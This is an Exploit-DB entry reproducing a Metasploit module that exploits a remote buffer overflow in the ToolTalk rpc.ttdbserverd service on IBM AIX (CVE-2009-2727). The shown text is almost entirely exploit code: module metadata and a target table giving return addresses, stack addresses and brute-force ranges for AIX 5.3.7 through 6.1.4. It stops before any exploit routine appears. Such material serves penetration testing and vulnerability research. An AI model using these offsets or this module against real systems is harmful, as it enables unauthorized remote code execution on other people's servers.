Exploit-DB #16930
Description: ToolTalk - rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX) (Metasploit)
Type: remote
Platform: aix
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: rpc_ttdbserverd_realpath.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::SunRPC
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability in _tt_internal_realpath
				function of the ToolTalk database server (rpc.ttdbserverd).
			},
			'Author'         =>
				[
					'Adriano Lima <adriano@risesecurity.org>',
					'ramon'
				],
			'Version'        => '$Revision: 10998 $',
			'Platform'       => [ 'aix' ],
			'References'     =>
				[
					[ 'CVE', '2009-2727'],
					[ 'OSVDB', '55151' ]
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'Targets'        =>
				[
					[
						'IBM AIX Version 6.1.4',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20099430+4096,
							'Addr1'    => 0x2ff1ff50-8192,
							'AIX'  => '6.1.4',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20[PII_REDACTED] },
								'Stop'  => { 'Ret' => 0x20099430+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 6.1.3',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20099280+4096,
							'Addr1'    => 0x2ff1ffd0-8192,
							'AIX'  => '6.1.3',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20[PII_REDACTED] },
								'Stop'  => { 'Ret' => 0x20099280+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 6.1.2',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20099280+4096,
							'Addr1'    => 0x2ff1ffd0-8192,
							'AIX'  => '6.1.2',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20[PII_REDACTED] },
								'Stop'  => { 'Ret' => 0x20099280+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 6.1.1',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20099280+4096,
							'Addr1'    => 0x2ff1ffd0-8192,
							'AIX'  => '6.1.1',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20[PII_REDACTED] },
								'Stop'  => { 'Ret' => 0x20099280+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 6.1.0',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20099280+4096,
							'Addr1'    => 0x2ff1ffd0-8192,
							'AIX'  => '6.1.0',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20[PII_REDACTED] },
								'Stop'  => { 'Ret' => 0x20099280+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20096ba0+4096,
							'Addr1'    => 0x2ff1ff14-8192,
							'AIX'  => '5.3.9',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20096ba0-8192 },
								'Stop'  => { 'Ret' => 0x20096ba0+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 5.3.10',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20096bf0+4096,
							'Addr1'    => 0x2ff1ff14-8192,
							'AIX'  => '5.3.10',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20096bf0-8192 },
								'Stop'  => { 'Ret' => 0x20096bf0+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 5.3.9',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20096ba0+4096,
							'Addr1'    => 0x2ff1ff14-8192,
							'AIX'  => '5.3.9',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20096ba0-8192 },
								'Stop'  => { 'Ret' => 0x20096ba0+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 5.3.8',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20096c10+4096,
							'Addr1'    => 0x2ff1ff98-8192,
							'AIX'  => '5.3.8',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20096c10-8192 },
								'Stop'  => { 'Ret' => 0x20096c10+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'IBM AIX Version 5.3.7',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0x20096c10+4096,
							'Addr1'    => 0x2ff1ff98-8192,
							'AIX'  => '5.3.7',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x20096c10-8192 },
								'Stop'  => { 'Ret' => 0x20096c10+8192 },
								'Step'  => 1024
							}
						}
					],
					[
						'Debug IBM AIX Version 6.1',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0xaabbccdd,
							'Addr1'    => 0xddccbbaa,
							'AIX'  => '6.1.4',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0xaabbccdd },
								'Stop'  => { 'Ret' => 0xaabbccdd },
								'Step'  => 1024
							}
						}
					],
					[
						'Debug IBM AIX Version 5.3',
						{
							'Arch'     => 'ppc',
							'Platform' => 'aix',
							'Ret'      => 0xaabbccdd,
							'Addr1'    => 0xddccbbaa,
							'AIX'  => '5.3.10',
							'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0xaabbccdd },
								'Stop'  => { 'Ret' => 0xaabbccdd },
								'Step'  => 1024
							}
						}
					],
				]